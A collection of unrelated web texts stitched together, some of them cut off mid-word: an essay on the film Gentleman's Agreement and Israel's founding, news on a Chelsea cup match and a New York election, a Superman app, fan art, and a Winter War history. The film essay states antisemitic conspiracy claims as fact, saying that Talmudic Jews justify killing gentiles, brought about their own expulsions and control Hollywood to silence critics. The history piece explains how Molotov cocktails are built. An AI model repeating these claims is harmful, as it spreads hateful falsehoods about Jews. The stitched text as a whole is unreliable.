The reaction from everyone who knows anything about finance or economics was a mix of amazed horror and horrified amazement. One does not casually suggest throwing away America’s carefully cultivated reputation as the world’s most scrupulous debtor — a reputation that dates all the way back to Alexander Hamilton.
The Trump solution would, among other things, deprive the world economy of its most crucial safe asset, U.S. debt, at a time when safe assets are already in short supply.One evening in the late 1960s (I was then in high school), my father and I were watching television. The local station announced that, later that week, it would show the winner of the Academy Award for Best Picture of 1947, Gentleman’s Agreement.
My father and I awaited the film with anticipation. After all, we equated “Best Picture” Oscars with superior entertainment—films like All about Eve, On the Waterfront, Lawrence of Arabia, and A Man for All Seasons.
To our disappointment, Gentleman’s Agreement, a two-hour sermon on the woe of American anti-Semitism, was one of the dullest films we’d ever watched. It was all dialogue, no action. No humor either. A token romance was thrown in, but it had no spark.
Here’s the plot: Gregory Peck plays a writer who moves to New York City after being hired by a magazine. The editor assigns him to write a series on anti-Semitism. In order to write from real experience, Peck pretends to be Jewish. He sends two job applications to various employers, knowing the one with the Jewish name will get rejected. He soon discovers anti-Semitism lurking under every rock—at hotels, in his secretary, his doctor, his janitor, and even his new girlfriend, played by Dorothy McGuire. Peck spends much of the film lecturing these people about their bigotry, no matter how subtly they expressed it.
(Dialog box is of course my own parody)
My father and I kept waiting for this soap opera to turn a corner and become interesting. Near the film’s end, the magazine’s staff are ecstatically leafing through Peck’s article, exclaiming things like “It’s dynamite!” At this point my father remarked: “The actors are just looking at blank pages!” We both burst out laughing. Yes, Gentleman’s Agreement was so dull that we had to provide our own comic relief to stay focused on it.
What amazed us was that this yawner had won the “Best Picture” Oscar. Mind you, we had nothing against the film’s message: that anti-Semitism is wrong. My father was Jewish himself, though non-practicing and completely assimilated into American culture. What bothered us was the flat-tire script that not even Gregory Peck or the gifted director Elia Kazan could pump life into.
Today, nearly half a century later, as a veteran alt-media writer, that Oscar no longer mystifies me. It was awarded on March 20, 1948. Less than two months later, the state of Israel was proclaimed; on that same day, ignoring the objections of his advisers, Harry Truman made the United States the world’s only country to recognize it.
Dignified and popularized by its “Best Picture” status, Gentleman’s Agreement served to prep the American public for the big day, and helped ensure that opposition to the decision would be silenced—for Judaism is often conflated with Zionism, and Gentleman’s Agreement continually suggested that any criticism of Jews, however minor or inadvertent, must be stamped out (a joke today, Hitler tomorrow). Indeed, Dorothy McGuire is unable to win Gregory Peck until, at the film’s end, she too takes an active stand against anti-Semitism.
Meanwhile, Down at the Oval Office
In his foreword to Israel Shahak’s book Jewish History, Jewish Religion (1994), Gore Vidal reported a story he was told by John F. Kennedy:
Harry S. Truman had been pretty much abandoned by everyone when he came to run for president. Then an American Zionist brought him two million dollars in cash, in a suitcase, aboard his whistle-stop campaign train. “That’s why our recognition of Israel was rushed through so fast.”
According to Texe Marrs in Conspiracy of the Six-Pointed Star, the man with the suitcase was Abraham Feinberg, founder of the powerful Israeli lobbying group AIPAC.
Feinberg is on the far left behind Truman in this 1952 photo.
Truman receiving a menorah from David Ben-Gurion
Truman’s recognition of Israel, which came only 11 minutes after the state was proclaimed, may have been a factor in his stunning election victory that fall, generally regarded as the greatest upset in Presidential election history (Republican Thomas Dewey had been widely projected as the winner).
In a famous pose, Truman holds early edition of Chicago Tribune announcing his defeat.
Truman, a 33rd degree Freemason, would serve America’s shadow oligarchy well, as when he sent U.S. soldiers to fight in the Korean War, an artificially contrived conflict intended to validate the UN (world government) and set a permanent precedent for bypassing Congress’s Constitutional authority to declare war. More than 30,000 Americans were killed and over 100,000 wounded in the “police action.”
Truman in Freemasonic Garb
The Nakba
1948 also marked a tragedy few Americans ever heard about.
Echoing the catchphrase “A Land without a People for a People without a Land,” Israeli Prime Minister Golda Meir famously said:
There were no such thing as Palestinians. When was there an independent Palestinian people with a Palestinian state? It was either southern Syria before the First World War, and then it was a Palestine including Jordan. It was not as though there was a Palestinian people in Palestine considering itself as a Palestinian people and we came and threw them out and took their country away from them. They did not exist.1
Meir’s claim is easily discredited.
I recommend this 10-minute video “Palestine pre-1948, before Zionism/Israel”:
What happened to these people? The Zionists ethnically cleansed them. Some 750,000 Palestinians were driven from their homes at gunpoint. Palestinians call this horror the Nakba. Quoting If Americans Knew:
Zionist forces committed 33 massacres and destroyed 531 Palestinian towns. Author Norman Finkelstein [himself Jewish} states: “According to the former director of the Israeli army archives, ‘in almost every village occupied by us during the War… acts were committed which are defined as war crimes, such as murders, massacres, and rapes’…Uri Milstein, the authoritative Israeli military historian of the 1948 war, goes one step further, maintaining that ‘every skirmish ended in a massacre of Arabs.’”2
Victims of the infamous Deir Yassin Massacre of April 9, 1948
An extensive listing of massacres of Palestinians can be found here.
The 1950 film Sands of Sorrow depicted the conditions under which the evicted Palestinians lived; 28 minutes long, well worth a watch. You can be sure it wasn’t featured at the local American theater; it’s not even included in the comprehensive Internet Movie Data Base (IMDB).
So much for Golda Meir’s claim that Palestinians “did not exist.” Now to put it in perspective, whose suffering was worse? The Palestinians who were massacred and dispossessed? Or Gregory Peck because he found that an upscale hotel discriminated against Jews when booking reservations?
I am certainly not suggesting that there haven’t been unwarranted acts of discrimination against Jews in America. But Gentleman’s Agreement’s claim—that New York City Jews struggled to get jobs because gentiles received preferential treatment—runs smack against the reality that Jews are often favored for employment, especially in Jewish-dominated fields like finance, law, retailing, and the arts. And while the film portrayed Jews as pristinely innocent victims of prejudice, Jews have their own prejudice, as is here explained by Brother Nathanael Kapner, who was Jewish-born-and-raised in New York City, and is now an Orthodox Christian:
Note: the following remarks refer to organized Zionist Jewry, and should not be construed to apply to all ethnic Jews, many of whom are not “practicing Jews” and are often, like my father, assimilated into other cultures. In the above video, Brother Nathanael refers to the Talmud. Contrary to what many Christians believe, it is the Talmud, not the Torah (Old Testament) that is the chief doctrinal teaching of modern rabbinic Judaism. It is the written form of the cumulative oral “tradition of the elders,” which Jesus Christ so resoundingly condemned the Pharisees for. Talmudic Jewry regards non-Jews as inferior and often justifies lying to, stealing from, and killing gentiles. For documentation of this, I highly recommend Michael Hoffman’s book Judaism’s Strange Gods. As Brother Nathanael has pointed out elsewhere, it was the behavior and endemic racism of Talmudic Jews that caused them to be expelled from more than 100 countries throughout history, not some sort of universal bigotry against their ethnicity or religion.
That brings us back to Hollywood, which, yes, has always been dominated by Jews:
• Carl Laemmle (Jewish) founded Universal Studios.
• The Warner brothers were Jewish.
• William Fox (Jewish) created the Fox Film Corporation.
• Joseph Schenk and Darryl Zanuck (both Jewish) founded the Twentieth Century Film Corporation, which later merged with Fox to become Twentieth Century Fox.
• Marcus Loew, Sam Goldwyn (nee Goldfish) and Louis B. Mayer (all Jewish) formed Metro Goldwyn Mayer (MGM).
• Harry Cohn (Jewish) established Columbia Pictures.
• Paramount Pictures evolved from companies established by Sam Goldwyn, Adolph Zukor and Jesse Lasky (all Jewish).
Is it “bigotry,” then, to call Hollywood a Jewish town, or just a statement of fact?
Which brings us full circle to the Oscars. Another film nominated for Best Picture of 1947, Crossfire, also had as its main theme anti-Semitism, this one draped in a film noir detective story. Robert Ryan, a Hollywood favorite for bigot roles, plays a psychopath who hates Jews for no reason, he just hates them—the classic anti-Semite stereotype. In the film’s opening, Ryan beats to death a kindly, benevolent Jew simply because he’s a Jew. Later in the film, Ryan commits a second murder, saying:
“I don’t like Jews, and I don’t like nobody who likes Jews!”
Unlike Gentleman’s Agreement, set largely in upper-class New York and Connecticut, Crossfire takes place in seedy hotels, bars and dance halls. It appears the Zionists were hedging their bets, hoping that, in both highbrow and lowbrow circles, any criticism of the new state of Israel would be squelched in advance. But while Hollywood stars strutted down the red carpet, hundreds of thousands of Palestinians, Christian and Muslim alike, bore their burdens down roads red with the blood of the Nakba.
NOTES
Sunday Times, June 15, 1969, quoted at https://en.wikiquote.org/wiki/Golda_Meir. “The Catastrophe, Al Nakba: How Palestine Became Israel,“ If Americans Knew, http://www.ifamericansknew.org/history/ref-nakba.html.Folks, Converse has announced an upgrade to their classic Chuck Taylors — the first such modification in 98 years. This new version appears in stores starting today.
Among the changes: CUSHIONING.
It’s true. But before getting all Ron Swanson-channeling-Bobby Knight about it, let’s take a deep breath and examine the situation.
The History
Chucks have long been favored among lifters for their no-frills, retro-cool style and flat, inflexible (un-padded) sole, which was difficult to find, prior to the modern barefoot/minimalist revolution triggered by Born to Run and brands such as Vibram (Five Fingers) and Vivo Barefoot, and which then moved quickly into the mainstream. For decades prior, the simple-as-can-be Chuck Tayl |
Superman's world — turning fans of the superhero into children of planet Krypton.
The Glyph Creator app, which Warner Bros. exclusively shared with Mashable before Thursday's launch, builds a shield based on the user's answers to a series of questions.
The 20 possible shield designs, with several color options, each represent an ancestral house. The app also spits out a user's first name in Kryptonian. Together, the shield and name represent a user's overall Krptonian identity. Here are my results:
The app then encourages people to plop the shield and name on a photo of themselves, as I did to the motorcycle I'm sitting on in the main photo above. The creations can shared via the app on Facebook, Twitter, Tumblr and Pinterest. Users also can download their creations, email them and submit them to the app's gallery.
The app took several months to create and will likely drum up more online buzz for Man of Steel, which will arrive in theaters on June 14.
HBO launched a similar web app ahead of season 3 premiere of Game of Thrones. HBO's Join The Realm app let people create their own family arms and share it across social media. In a month, the app attracted 1 million visitors from 200 countries.
BONUS: Watch Man of Steel's Sinister New Trailer Featuring General Zod
Image created by Mashable's Brian Anthony Hernandez using the Glyph CreatorJose Mourinho's side overcame their League One hosts 2-0 at the County Ground but the night was tinged with disappointment.
Van Ginkel - making only his second start following a summer switch from Vitesse Arnhem - went down after an early challenge from Town midfielder Alex Pritchard and, despite briefly trying to carry on, soon hobbled off in the 10th minute.
He was replaced by fellow midfielder Ramires, who added to Fernando Torres' opener with Chelsea's second goal of the night, before then being forced off himself at half-time.
But it is Van Ginkel's injury which is providing the greater concern.
Assistant first-team coach Steve Holland said: "We've got an injury to Marco which, it's a little bit too early to be certain but it doesn't look good.
"He'll have a scan on Wednesday on an injury to his knee. It's too early to say (if it's a bad one) but let's hope that's not the case. It didn't look good as he came off so early in the game. We'll have to see the results of the scan, we'll know more on Wednesday.
"And his substitute, Ramires, also had to go off with a muscular injury at the top of his hip which was causing him more discomfort as he tried to run it off. He'll be a major doubt for Saturday at Tottenham, not out for sure yet, but a major doubt.
"They're the two disappointments of the evening."
Swindon put up brave resistance against top-flight opposition and could be proud of their efforts, with Dany N'Guessan seeing a header correctly ruled marginally offside just after the break.
The League One side now return to league action and an assault on promotion under manager Mark Cooper, who has only been in the job on a permanent basis for a month after initially arriving as assistant manager before then taking the caretaker reins over the summer.
In the build-up to the cup tie Cooper admitted he was hoping to pick the brains of respected Chelsea manager Mourinho after the clash, but he revealed he did not get the opportunity to do so.
"He just said 'well played, your team played well and best of luck for the season'," Cooper said.
"I know he's got a million people pestering him before the game, at half-time and after the game. I completely understand."
(Edited by Ben Bloom)NEW YORK — “If you hate gay people, vote for me.”
This disturbing message seems that it could very well be the campaign message of Hiram Monseratte, the former state senator who was booted from his post after he was found guilty of domestic violence charges and who is now running in a March 16 special election to win back his former position.
Monserrate is challenging Jose Peralta, currently a State Assembly member, for the seat in New York’s 13th senatorial district, which includes Jackson Heights, East Elmhurst and Corona, all in Queens.
An unsigned non-union flier, distributed by supporters of Monserrate, referred to the ousted senator’s election rival, State Assembly member Jose Peralta, as “the gay caballero.” Further, the “community alert” said that Peralta is a “spokesperson for the gay community’s [sic] in NYC,” who are “dedicated to destroying our way of life.”
On March 4, Monseratte held an anti-GLBT rally outside Peralta’s office in Jackson Heights, Queens. Monseratte was the main speaker, along with Catholic and other clergy members.
Ricardo Reyes, a pastor of the El Elyon Christian Church in Corona, said, “I have seen a generation sunk down by the gay community … If we vote for a gay marriage situation, then we are sending our children to practice something against the Bible.”
The rally was in part to target Fight Back NY, which Monserrate and his cohorts called a group of outsiders trying to infiltrate the neighborhood. But City Council member Daniel Dromm of Jackson Heights, took issue with the characterization of FBNY as well as Elyon’s statements. He noted that “Jackson Heights holds the second largest gay pride parade outside the borough of Manhattan. We are a multicultural and multi-ethnic community and we do not support hate.”
Aside from anti-gay bigots, Monserrate isn’t getting much support. Peralta, his opponent has received endorsements from a diverse crowd: the AFL-CIO, Rev. Al Sharpton, New York Senators Chuck Schumer and Kirsten Gillibrand, virtually all of the City Council members in the 13th district, NARAL and Planned Parenthood, the Si Se Puede Democratic Club of Corona and numerous others.
According to Dennis Hughes, president of the New York State AFL-CIO, his organization “will coordinate a comprehensive get-out-the-vote effort, including mailings, phone banks and door-to-door visits to union members. I am confident that with labor’s support, José Peralta will be elected.” Hughes noted that Peralta has a 100 percent pro-labor voting record.
Hughes represents 2.5 million unionists overall, and more than 13,000 in the 13th district.
Also targeting Monserrate is President Obama’s grassroots group, Organizing for America. Monserrate has angered them by using Obama’s “Yes we can” campaign slogan and featuring Obama and OFA logos on campaign literature. According to OFA, Monserrate did not seek, and would not get, permission to use the logos.
A list of Monserrate supporters was not available as of this writing.
Photo: Last year protestors rallied against Hiram Monseratte, who promised he would vote “Yes” for the marriage equality bill, then ended up voting “No.” http://www.flickr.com/photos/jmeng34/ / CC BY-NC 2.0Well, we have here a Fallout based drawing.No, I didn't play any of the Fallout games (thougt I defenetly will) nor did I read Fallout: Equestria (but planing to read it, or rather find a good audio book for it, because if I would read it, it would took me a year to finish it. And I'm not even joking.)So let me explain:SaveTheGnomes13 over the MineCraft forums made an awesome map based on Fallout, titled Fallout: Rebuilding Humanity. I tried out and I really loved it. I just couldn't stop playing it. I already finished the main story and one quest, still have two to go. It's really great. It also made me interested in Fallout. I looked it up and seems like an interesting game. So I will defenetly try to play it (since I even have time for it, now I have my summer vacation).By the way, the character here is my MineCraft OC, Neon Sword. Even thought I just created her for MineCraft, I think I will draw her more in the future.Before I close up, if you have MineCraft you should check out this Fallout map, because it's really great: [link] And it's probably more interesting for those who played Fallout (btw, it made for 1.4.7., but it's probably works even if you updated your MineCraft).MLP:FiM (c) Lauren Faust, HasbroCharacter and artwork (c) meNo stealing. Thank you.A Thousand Lakes of Red Blood on White Snow
Over a bottle of Swedish vodka, a friend and I recently drifted on to the topic of Molotov cocktails. In case you don't know, that is not a drink actually served at any cocktail parties. But depending on your audience, its story could make for a good cocktail party yarn. Here follows a brief history of the little-known subarctic origins of the Molotov cocktail in the epic Russo-Finnish Winter War of 1939-40. It is a true tale of a people who stood up to the depredations of an evil empire, and, against all odds, prevailed. Along the way you'll gain a pretty good idea of what exactly the Finnish word "sisu" means, despite English lacking an exact and equivalent translation.
On November 30, 1939, three months after the start of World War II and the blitzkrieg invasion of Poland, the Soviet Union invaded Finland in an all-out land, sea and air assault. In a coordinated attack almost three times larger than the Allied landing at Normandy some five years later, twenty-one Red Army divisions with over 425,000 soldiers and thousands of tanks, warplanes, and heavy artillery crossed over into Finland under the cover of massive air and artillery bombardment.
Thus began a military conflict that came to be known as the Winter War, one of the least publicized but most costly offensive campaigns in the annals of military history. Fought in the extreme cold of the Finnish forests and in the dead darkness of the subarctic winter, it pitted a mighty invader with overwhelming military superiority against a hardy defender with precious little more than the indomitable will to resist. The Winter War changed the course of World War II and was then all but forgotten, save by the people of Finland whose very history it came to delineate and define.
Territorial and political rearrangements coming up
The Soviet objective was simple enough: the total conquest and occupation of Finland, enabling Soviet dominance over the Baltic Sea and the establishment of a buffer zone around Leningrad (now St. Petersburg), from which the Finnish border at the time was only some 40 kilometers distant.
Like a donkey in heat, Josef Stalin had been eyeing Adolf Hitler's annexation of Austria and Czechoslovakia with naked envy. He wanted in on the action and in 1939 proceeded to sign a non-aggression pact with Hitler that included a secret protocol divvying up northern and eastern Europe, anticipating "territorial and political rearrangements" into respective German and Soviet spheres of influence. In plainer terms, Stalin was to have eastern Poland, the Baltic countries, and Finland, if he could take them.
After Stalin encountered no resistance in subjugating the Baltic countries, he turned his attention to Finland. He figured that Finland, too, would be a walk in the park; the Finns would either capitulate without a fight, or at least quickly and recklessly exhaust their insignificant and outdated armed forces in useless suicidal attacks on the modern Soviet tanks and machine guns, much as the Poles had done. The Red Army would roll over the country in no time at all.
Soviet Marshal Voroshilov and General Meretskov, who were to command the Soviet operation, calculated that they could knock out Finland in roughly ten to twelve days. After all, Mother Russia had some 170 million people to Finland's puny 3.5 million, with the population of the city of Leningrad alone matching the entire population of Finland. The Red Army forces committed to the Finnish offensive — more than a million men and many thousands of tanks and warplanes — easily outnumbered the Finnish Army more than three to one in terms of manpower, thirty to one in terms of aircraft, and far more than a hundred to one in terms of tanks; and the Soviets had yet millions more soldiers in reserve. What could possibly go wrong?
The enemy outnumber us a paltry three to one; good odds for any Finn
Mobilization in Finland was nearly 100 percent, but even including all reserves the Finns could muster no more than 300,000 ill-armed men to oppose the vast and seemingly invincible horde of the invader. Even this level of mobilization was possible only as a result of assigning absolutely each and every non-combat task to the 100,000-strong women's auxiliary.
From the start, the Finnish defense was plagued by severe equipment and munitions shortages. Many Finnish soldiers did not even have uniforms, and simply wore their regular winter clothing with ad-hoc military tags.
As for heavy weapons, the Finns had but a handful of obsolete tanks, of which only a single one was fully combat ready; further, they had virtually no anti-tank weapons, anti-aircraft guns, or heavy artillery — many of their artillery pieces hailed from the previous century. The so-called Finnish Air Force was comprised of a grand total of ninety-six operational old planes that were no threat to the newer and faster Soviet fighters.
With this sorry arsenal did they mean to dare defy the wrath of a vast empire and the most powerful army in the world. The first line of defense in Finland, it was facetiously reported outside the country, was a Finn standing on skis with a rifle. The claim wasn't entirely untrue.
But where will we find room to bury them all?
Even if they harbored few illusions regarding their chances of ultimately prevailing against the sheer overwhelming manpower and firepower of the enemy, the widespread sentiment among Finns was that, come what may, they had no choice but to take up arms for life and liberty. They knew what the alternative would entail: still in living memory had they suffered under the boot of the Russian Empire (from 1812 to 1917), and doubted not that their fate in the blood-soaked hands of the Soviet tyrant would be something incomparably worse than it had ever been under the heel of the Russian tsars.
So, never mind that they were vastly outnumbered and outgunned, they still meant to make the aggressors pay dearly for every step of their advance. If they were to be conquered, enslaved, or even exterminated, it would certainly not be as meek and willing victims. Planning for the tremendous scope of the coming casualties, they pondered with a grim optimism and not a little dark humour, "They are so many, and our country is so small, where shall we find room to bury them all?"
If we gotta burn down the house, let's be sure to do it right
Having anticipated both the imminent invasion and a harsh winter — which indeed turned out to be the coldest in over a hundred years — Finns had spent much of the autumn of 1939 destroying bridges, roads, houses and barns that had taken a generation to build; they intended to deny the Soviets any and all shelter and respite during their advance.
One memorable report tells of an old man returning to poke through the smoldering remains of his house while the fighting is already in earshot, explaining to the soldiers overseeing the evacuation:
This farm was burned down twice before on account of the Russians; once by my grandfather, and once by my father. I don't reckon it'll kill me to do it either, but I'll be damned if I could drive away without first making sure you'd done a proper job of it.
Scorched earth à la Finlande meant that the abandoned towns and villages were not left hospitable even in ruins and ashes. Mines were left in haystacks, under outhouse seats, underneath dead chickens and in abandoned sleds. The village wells were poisoned, or, if time and chemicals were lacking, at least fouled with horse manure. Floating mines were set underneath newly-frozen lakes to blast the ice from underneath advancing Soviet ranks.
Hurry up on those secret weapons, will you, we're in dire straits here
In the first week of the Winter War, the Red Army advanced quickly on all fronts. The Finnish Army had never confronted tanks and lacked effective anti-tank weapons. The Red Army's use of mass formations of tanks initially had an absolutely devastating effect on the Finnish defenses, which frequently seemed on the verge of total collapse. Shock and fear accompanied retreat and defeat as the Finnish troops were pushed back on all fronts.
Trying desperately to find a way to beat back Soviet tanks with the limited resources at their disposal, the Finns were forced to innovate. In short order they came up with three distinct but complementary tactics for taking out heavy Soviet armor. From the diary of Private Tauno Pukka who served in the Finnish 3rd Independent Infantry Battallion:
Our platoon leader informed us we were about to receive secret weapons that could blow up and burn any enemy tank. It did not take long until the promise was fulfilled.
Here's a drink to your continued health, Commissar Molotov
Throughout the Winter War, the Soviet Air Force made extensive use of incendiaries and cluster bombs against Finnish troops, fortifications, and towns. When the Soviet People's Commissar for Foreign Affairs, Vyacheslav Mikhailovich Molotov, claimed in propaganda broadcasts that the Soviet Union was not actually dropping bombs but merely delivering food to the starving Finns, the Finns began calling the air bombs Molotov bread baskets.
Facing mass formations of Red Army tanks, the Finnish Army borrowed the design of an impromptu incendiary device that had been used for the first time in the just-concluded Spanish Civil War of 1936-39. They began attacking the advancing tanks with "Molotov cocktails" which were, with characteristic Finnish laconic wit, meant to repay Molotov's generous gift of bread with the reciprocal gift of an alcoholic beverage — "a drink to go with the food", as they joked.
The Molotov cocktail was simply a glass bottle semi-filled with a mixture of sticky flammable liquid, usually based on gasoline or alcohol and thickened with soap or tar. The mouth of the bottle was stoppered with a cork and a cloth rag fixed securely around the cork. The weapon was used by soaking the rag in a flammable liquid immediately prior to use and then lighting the rag and hurling the bottle at the target. The bottle shattered on impact, spilling the flammable contents all over the target which the burning rag then ignited.
Cheap and simple to make in an emergency from a bottle of vodka and some hand soap, the Molotov cocktail proved highly effective against the Soviet tanks of the Winter War. The Soviet tank engines at the time were gasoline engines, and the hot engine at the rear of the tank caught fire quite easily. Later in the war, the Soviets attached bushes or wire mesh to protect the rear end of the tank, counting on the bottle not breaking if it couldn't actually hit the armor. The Finns responded by tying some stones at the end of strings attached to the bottle, with the stones shattering the glass on impact. They also wrapped barbwire around the bottle, so that if the bottle at least hit the mesh protecting the ventilation, the chance of setting the engine on fire increased.
Molotov cocktails were eventually mass-produced by the Finnish state corporation Alko, bundled with attached matches to light them. Production totalled 540,000 during the Winter War, produced by a work force of 87 women and 5 men. The original design was a mixture of ethanol, tar and gasoline in a 750 ml bottle that had two long pyrotechnic storm matches attached to either side. Before use, one or both of the matches was lit; when the bottle broke on impact, the mixture ignited. The storm matches were found to be quite a bit safer to use than a burning rag on the mouth of the bottle.
The principal delivery system for these weapons was comprised of Finnish daredevils on skis. The Molotov-throwers grumbled that the weapon could only be used without immediate detection during daylight hours. As Mother Nature has seen fit to bless these latitudes with no more than up to four hours of winter daylight, that presented a somewhat limited window of opportunity for undetected approach each day.
I see your tanks and I'll raise you a satchel charge, comrade
The second anti-tank invention was the satchel charge, a heavy-duty TNT-based explosive weapon used to sever the tracks of enemy tanks and, with larger charges, capable of destroying enemy vehicles weighing up to 30 tons. To deploy a satchel charge, the Finnish anti-tank squads had to get even closer to the tank since the bulky and heavy weapon couldn't be thrown much further than 10-15 meters.
These tactics were risky at best. Sneaking up to an enemy tank undetected was difficult and required considerable courage and patience. To ensure a kill with a satchel charge, it had to be thrown accurately and skillfully with just enough force to land it securely on top of the tank. Another method was running all the way up to the tank and placing the charge directly on the rear deck, but this was even riskier — Finnish soldiers in some cases died from the blast of their own satchel charge when the weapon tumbled down from the tank.
A third anti-tank tactic, used in combination with either the Molotov cocktail or the satchel charge, was the riskiest of all; some might even call it borderline crazy. The idea was to run up to a tank and forcibly halt it by jamming a log into its treads; done just right, this gave an opportunity to deal with the tank and its crew at a more leisurely pace. One exceptionally burly Finnish ski trooper was decorated for immobilizing a Soviet tank with nothing but a crowbar, prying the treads off by brute force, after which another soldier came up to the tank with a satchel charge and blew it up.
Finnish tank buster forces endured a fatality rate of 70%, yet had no shortage of volunteers. It was a very dangerous business, but also very successful. Of the around 6,000 total tanks deployed by the Soviets during the course of the Winter War, the Finns managed to take out more than 2,000; of these, about half were destroyed using mines and satchel charges or burned using Molotov cocktails. The remainder are accounted for by the cunning sinking of tanks into frozen lakes or the frozen sea, as well as by artillery on the heavily-fought-over Karelian Isthmus. It's perhaps worth mentioning in passing that the Soviets lost at least another 1,200 tanks to "technical failures"; in other words, to the elements.
Merry Christmas from the Mannerheim Line
The Soviet invasion was planned as an overwhelming onslaught everywhere along the thousand-kilometer eastern border of Finland, but the main thrust of the Soviet offensive was aimed directly northwest from Leningrad through the Karelian Isthmus, a narrow strip of strategically crucial land between Lake Ladoga and the Gulf of Finland. This was to be the Finns' icy Thermopylae on which the outcome of the entire war hinged.
Here the Finns built a 132-kilometer-long defensive fortification line that became known as the Mannerheim Line, named after the Finnish commander-in-chief Field Marshal Carl Gustaf Mannerheim. The line consisted mostly of trenches, dugouts, anti-tank obstacles, barbed wire barriers and mine fields. It also had a total of 101 thinly spread out small concrete bunkers with 157 machine gun positions and eight artillery positions.
On December 6, 1939, the leading units of the Red Army reached the Mannerheim Line and tried to break through. They did not succeed. Wave after wave of the invaders broke in direct frontal assaults against the line, the attackers mowed down to the last man by well-placed Finnish automatic weapons. The true carnage had begun.
In the days that followed, untold many silent dead littered the barbed wire in front of the Finnish positions. As the bodies piled up ever higher like logs of cordwood, subsequent waves of attacks were actually able to get progressively closer to the Finnish line by taking cover behind their own dead — the temperatures were so low that after an hour a frozen corpse would stop a bullet just as well as a brick wall would.
Despite their mounting losses, the Soviet offensive was unrelenting; Stalin's generals had promised him Finland as a gift by his upcoming 60th birthday in December, and they knew that their own continued personal well-being depended on keeping that promise. And so the mindless slaughter went on day after day, week after week, with one Soviet battallion after another wiped out. By the end of the month, over seven whole Soviet infantry divisions had obliterated themselves failing to decisively breach the Mannerheim Line. The line gave way sometimes, but always held strong in the end.
Thus the first month of the Finnish campaign ended in abject humiliation for the Red Army. Soviet propaganda back home was working overtime to explain and justify the Red Army's insignificant progress against the Finnish defenses while covering up the mind-boggling number of steadily climbing casualties. The spin made the Mannerheim Line out to sound like a stronger, impregnable version of the French Maginot Line — a bit of a stretch considering that an equivalent span of the Maginot Line would have had some 5,800 concrete bunkers to the mere hundred that the Finns had been able to build and equip. The real strength of the Mannerheim Line lay in the men who held it.
Know your terrain, admonished Sun Tzu
Fortunately for the Finns, much as the central control of the Soviet Union's economy had left it crippled and increasingly out of touch with reality, so was the rigid central command of the Red Army set to lead to further military disaster. Stalin's bloody political purges in the preceding years had led to the execution of the Red Army's best generals and most of its professional officer corps, leaving the command chain of the army in the hands of inexperienced and, more often than not, incompetent political officers.
There was no doubt that the Red Army had orders of magnitude more tanks and aircraft than the Finnish Army, and vastly more troops to boot. But what the Finns lacked in equipment and numbers they made up for in cunning strategy, bold initiative, and, crucially, an intimate knowledge of the local geography.
Geographically, the vast majority of Finland is relatively flat landscape covered in forests and swamps and pocked by tens of thousands of lakes — not ideal terrain for moving and protecting heavy weaponry, particularly in the middle of winter. This the Soviets were about to learn the hard way.
So exuberantly overconfident were the Soviets initially of a quick, relatively unimpeded victory march all the way to Helsinki that they came with parade bands, but without winter uniforms, without supplies for a protracted campaign, and without medical facilities.
The Red Army troops wore olive drab or khaki uniforms, their tanks were painted black, and they carried heavy field stoves that sent thick plumes of black smoke visible for many kilometers — none of these constituted brilliant tactics for hiding in snowy terrain. The Soviets' semi-automatic guns frequently jammed up in the forbidding subzero temperatures, and even their howitzers behaved in unpredictable and unsafe ways.
Some commenters have wryly observed that the Russian field manual for snow combat must've been written in the Mediterranean, because it contained a passage on bayoneting on skis — a feat that any Finn could have readily enough told them was not a feasible prospect.
The contrast to the Finnish Army was stark, quite literally so. Nimble and decentralized, the Finnish troops wore white uniforms and camouflage to blend into the terrain, and used skis, sledges, and horses (often captured from the Soviets) to speed through the forests, taking every opportunity to outmaneuver the Red Army which was wedded to its tanks and troop formations and preferred to stick to the roads.
You can check out anytime you like, but you can never leave
In early December 1939, a Soviet division was advancing to the northwest in central Finland with the objective of taking the city of Oulu and thus effectively cutting Finland in half. If successful, this would have severed the important railway to Sweden and forced the Finns to defend the country on two fronts.
On its way to Oulu, the Soviet 163rd division captured the village of Suomussalmi, but soon found itself surrounded and suffering major casualties deep inside Finnish territory. The Soviet 44th division, an elite Ukrainian formation, was dispatched to its aid. They never made it to Suomussalmi; not that it would have made a difference if they had, as the Finnish defenders had already destroyed the 163rd before any reinforcements could have reached them.
The sordid fate of these two Soviet divisions — combined totalling some 40,000 soldiers and more than three hundred artillery pieces, a hundred tanks, and fifty armored cars — would prove an instructive lesson in the Finnish way of guerrilla warfare. The Finns would go on to apply these same tactics extensively in the other battles of the Winter War, but the battle of Suomussalmi remains the best-studied one.
Advancing towards Suomussalmi in early January 1940, the 44th's mechanized infantry units were completely road bound in the deep snow. Resembling a huge snake, their column stretched out for thirty kilometers on the Raate road, a long and narrow logging track with virtually no way other than forwards or backwards, surrounded as it was by deep forest and the occasional lake. Once committed to the road, the Soviet troops were effectively trapped, even if they hadn't yet realized their peril.
Finnish ski troopers, outnumbered by the advancing enemy but much more mobile in this terrain, were able to swiftly and invisibly move up and down the entire length of the enemy column through the surrounding forest. They felled trees to block the road in front and behind the enemy division, stalling the movement of the column, and then proceeded to relentlessly chop up the Soviet column into ever-smaller segments they called mottis; a motti being a Finnish measure of stacked-up firewood.
Attacking with light machine guns, mortars, and hand grenades, the ski troopers would surge out of the forest to cut the road at that point, quickly disappearing on the other side of the road. They would be followed by Finnish combat engineers who would widen and fortify the breach, decisively cutting off one piece of the enemy column from the other. Once the Soviet division was split up into these smaller and more manageable pockets of enemy troops, the mottis could then be dealt with individually by concentrating forces on all sides against an entrapped unit. Surrounded and pinned down by Finnish snipers, the invaders froze or starved to death if they didn't first succumb to rifle fire and wounds.
The deep cold at Suomussalmi that winter was so intense that almost any wound was fatal, and the instant a man was hit by a bullet and his circulation slowed, his body would freeze in the very posture that he was standing in when he was hit. A macabre legend of the Winter War tells of a surreal scene in still life: a Soviet patrol standing by the side of the road, the men upright and frozen stiff in the snow, a Soviet officer beside them with a loaded pistol in hand; all had had their throats neatly cut, without a single shot fired from the officer's pistol. They never saw the freedom fighters who had snuck up on them to deliver the silent death of the puukko — a traditional Finnish hunting knife that emerged as the Finns' close-combat weapon of choice during the Winter War.
Our lakes are full of dead Russians
The Finns would also frequently use their numerous frozen lakes as highly effective death traps, channeling the enemy onto the ice using motti tactics. When the Soviet troops attacked in company, battalion and regimental strength across the lakes, their dark uniforms made for easy pickings against the white snow. The defenders sprung the trap using machine guns to enfilade the lakes from the surrounding forest while home guard riflemen, most of whom were expert marksmen, proceeded to pick the enemy off one by one, all the while adequately concealed and protected from return fire.
